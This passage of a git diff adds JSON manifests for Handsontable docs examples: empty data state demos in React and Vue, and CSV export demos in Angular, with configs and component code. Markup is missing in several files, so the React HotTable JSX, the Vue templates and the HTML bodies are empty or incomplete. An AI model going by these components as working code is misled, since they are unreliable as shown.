+{"framework":"react","displayName":"Accessories And Menus ▸ Empty Data State · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import React, { useRef } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableRef = useRef(null);\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/empty-data-state/react/example1.tsx","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/empty-data-state","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__react__example2.tsx.json new file mode 100644 index 00000000..11d4c7d0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Empty Data State · Custom configuration · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import React, { useRef } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableRef = useRef(null);\n\n return (\n {\n // Add some sample data\n hotTableRef.current?.hotInstance.loadData([\n ['John', 'Doe', 'john@example.com'],\n ['Jane', 'Smith', 'jane@example.com'],\n ['Bob', 'Johnson', 'bob@example.com'],\n ['Alice', 'Johnson', 'alice@example.com'],\n ]);\n },\n },\n ],\n },\n }}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/empty-data-state/react/example2.tsx","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example2","exampleTitle":"Custom configuration","docPermalink":"/empty-data-state","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__react__example3.tsx.json new file mode 100644 index 00000000..69eda10a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Empty Data State · Dynamic messages based on source · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import React, { useRef } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableRef = useRef(null);\n\n return (\n {\n switch (source) {\n case 'filters':\n return {\n title: 'No results found',\n description: 'Your current filters are hiding all results. Try adjusting your search criteria.',\n buttons: [\n {\n text: 'Clear Filters',\n type: 'secondary',\n callback: () => {\n const filtersPlugin = hotTableRef.current?.hotInstance.getPlugin('filters');\n\n if (filtersPlugin) {\n filtersPlugin.clearConditions();\n filtersPlugin.filter();\n }\n },\n },\n ],\n };\n default:\n return {\n title: 'No data available',\n description: \"There's nothing to display yet. Add some data to get started.\",\n buttons: [\n {\n text: 'Add Sample Data',\n type: 'primary',\n callback: () => {\n hotTableRef.current?.hotInstance.loadData([\n ['John', 'Doe', 'john@example.com'],\n ['Jane', 'Smith', 'jane@example.com'],\n ['Bob', 'Johnson', 'bob@example.com'],\n ['Alice', 'Johnson', 'alice@example.com'],\n ]);\n },\n },\n ],\n };\n }\n },\n }}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/empty-data-state/react/example3.tsx","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example3","exampleTitle":"Dynamic messages based on source","docPermalink":"/empty-data-state","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__vue__example1.vue.json new file mode 100644 index 00000000..a0d830a0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Empty Data State · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/empty-data-state/vue/example1.vue","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/empty-data-state","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__vue__example2.vue.json new file mode 100644 index 00000000..1471713f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Empty Data State · Custom configuration · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/empty-data-state/vue/example2.vue","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example2","exampleTitle":"Custom configuration","docPermalink":"/empty-data-state","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__vue__example3.vue.json new file mode 100644 index 00000000..36a04926 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Empty Data State · Dynamic messages based on source · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/empty-data-state/vue/example3.vue","breadcrumb":["Accessories And Menus","Empty Data State"],"guide":"guides/accessories-and-menus/empty-data-state/empty-data-state.md","guideTitle":"Empty Data State","exampleId":"example3","exampleTitle":"Dynamic messages based on source","docPermalink":"/empty-data-state","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example1.ts.json new file mode 100644 index 00000000..3d944434 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n
    \n
    \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n exportFile() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example1.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example2.ts.json new file mode 100644 index 00000000..88479df5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example2',\n template: `\n
    \n
    \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Spring Launch', 'Email', 'North America', '1240', '4.2%', '$12000', 'Q1 2025'],\n ['Partner Webinar', 'Paid Search', 'EMEA', '860', '6.1%', '$9400', 'Q1 2025'],\n ['Summer Upsell', 'Social', 'APAC', '1520', '3.7%', '$13800', 'Q2 2025'],\n ['Product Video', 'Email', 'North America', '980', '5.4%', '$8600', 'Q2 2025'],\n ['Back-to-School', 'Display', 'LATAM', '1110', '4.8%', '$10100', 'Q3 2025'],\n ['Holiday Teaser', 'Affiliate', 'EMEA', '1340', '5.9%', '$12700', 'Q4 2025'],\n ['Loyalty Drive', 'SMS', 'APAC', '790', '7.3%', '$6200', 'Q4 2025'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n exportBlob() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n const exportedBlob = exportPlugin.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedBlob);\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example2.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example3.ts.json new file mode 100644 index 00000000..98223be0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-csv__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm 